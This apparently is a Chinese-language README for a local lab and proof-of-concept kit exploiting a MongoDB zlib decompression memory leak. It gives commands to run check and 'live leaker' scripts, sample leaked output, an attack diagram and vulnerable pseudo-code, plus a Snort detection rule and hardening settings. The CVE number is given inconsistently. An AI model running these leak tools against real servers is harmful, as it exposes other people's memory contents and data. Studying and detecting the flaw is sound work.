246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

# 克隆仓库
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# 启动有漏洞的环境
docker-compose up -d

# 等待初始化（15-20 秒）
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

# 1. 用 R6 数据填充堆
python3 popular_heap.py 50

# 2. 检查漏洞
python3 poc.py --target 127.0.0.1 --check

# 3. 使用实时泄露器进行利用（推荐）
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

[!] MongoBleed Live Leaker 高级版
[!] 目标：127.0.0.1:27017
[!] 范围：doc_len 200 → 3000 (offset=500)

[*] 进度：doc_len=245/3000 | 尝试次数=100 | 成功率=100.0%

[!] 检测到 R6 模式 (doc_len=245)：
    [UUID] 1 个新：
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

攻击者 → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
服务器分配 1MB 堆空间  ← 漏洞
          ↓
服务器仅解压 50 字节
          ↓
服务器返回整个 1MB！
          └─ 50 字节 = 真实数据
          └─ ~1MB - 50 = 内存泄露

// 补丁前
size_t uncompressedSize = header.uncompressedSize;  // ← 由攻击者控制
buffer = malloc(uncompressedSize);                  // ← 分配恶意大小
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← 泄露整个缓冲区

MongoDBPoc/
├── poc.py                          # 主漏洞利用
├── live_leaker.py                  # 增量扫描（✨ 推荐）
├── popular_heap.py                 # 数据加载脚本
├── docker-compose.yml              # 有漏洞的 MongoDB 7.0.5
├── init-db.js                      # 1000 名玩家 + 500 个 R6 会话
├── GUIA_TECNICO_COMPLETO.md       # 详细文档（200+ 页）
├── README.MD                       # 英文文档
└── Portugues/                      # 翻译版本
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed 攻击尝试";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

net:
  bindIp: 127.0.0.1              # 绝不要设为 0.0.0.0！
  compression:
    compressors: []              # 禁用 zlib

security:
  authorization: enabled

此工具仅供授权测试和教育使用。

未经授权使用是违法的，可能导致：
- 刑事起诉（在巴西依据第 12.737/2012 号法律）
- 高额罚款
- 监禁

在测试前务必获得书面许可。